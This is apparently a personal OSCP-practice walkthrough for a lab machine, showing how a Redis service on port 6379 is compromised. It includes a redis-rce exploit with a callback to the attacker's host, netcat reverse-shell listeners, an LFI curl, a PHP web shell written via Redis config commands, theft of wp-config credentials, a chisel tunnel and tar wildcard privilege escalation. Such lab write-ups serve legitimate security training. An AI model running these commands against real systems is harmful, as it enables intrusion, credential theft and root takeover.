> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/readys/6379.md).

# 6379

```
redis-cli -h 192.168.159.166
```

Then to authenticate:

```
AUTH Ready4Redis?
```

![](/files/JxLmKlwug9KU2sN7QjQF) We are in.

## Failed

The version is 5.0.14: ![](/files/cwkYTegLF7h6YTcbFijK) Using this: <https://github.com/Ridter/redis-rce?source=post\\_page-----88a3e0e21f62-------------------------------->

We can get a shell:

```
python3 redis-rce.py -r 192.168.159.166 -L 192.168.45.223 -a 'Ready4Redis?' -f exp.so
```

![](/files/YTJ1LPF715AMcv2opoep)

Then set up a listener:

```
rlwrap nc -nlvp 80
```

![](/files/dciMcl7NUcrmrLekwGBy) We get a shell

Now we can look for the wp-config file and get the database password:

```
cat /var/www/html/wp-config.php
```

![](/files/Zqt9d40bY4M0p01x9JfD)

Checking netstat:

```
netstat -antup
```

![](/files/8fBCKdZiQHh6xg3hUoQn) But could not execute anything so was a waste

**Can not proceed as we get a shell as redis user**

## Success

We can check the service files for redis using the LFI:

```
curl http://192.168.231.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/systemd/system/redis.service > redis.service
```

Now we can find the writeable directory: ![](/files/eNYiUmSRdDFpf39TlY51)

Then write a shell.php:

```
redis-cli -h 192.168.231.166
```

```
AUTH Ready4Redis?
config set dir /opt/redis-files
config set dbfilename shell.php
set test '<?php system($_GET["cmd"]); ?>'
save
```

Now we have command execution: ![](/files/qu3CkJn8OrUosujXLZrT) We can get a shell now: ![](/files/zBtJfV7bsMfk1cISUr4d)

Now we can look for the wp-config file and get the database password:

```
cat /var/www/html/wp-config.php
```

![](/files/Zqt9d40bY4M0p01x9JfD) Port forwarding: Target:

```
$P$Ba5uoSB5xsqZ5GFIbBnOkXA0ahSJnb0
```

Kali:

```
chisel server --reverse --socks5 -p 8001
```

But we don't find anything in database after logging in.

We find a cron job after running linpeas: ![](/files/HwKcZKh3JYaIFpL9GHzl)

![](/files/1S36RMkm2VQlqmR8RO3g)

Now we have tar with `*` which we can use to gain sudo access:

```
cd /var/www/html
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
nano payload.sh
chmod +x payload.sh
```

Now in payload.sh: ![](/files/5OorN9CxoQr6Cusk0VQj) Now we get a shell in the listener:

```
sudo rlwrap nc -nlvp 80
```

![](/files/JObGtJDeG1dO0OuX5rb9)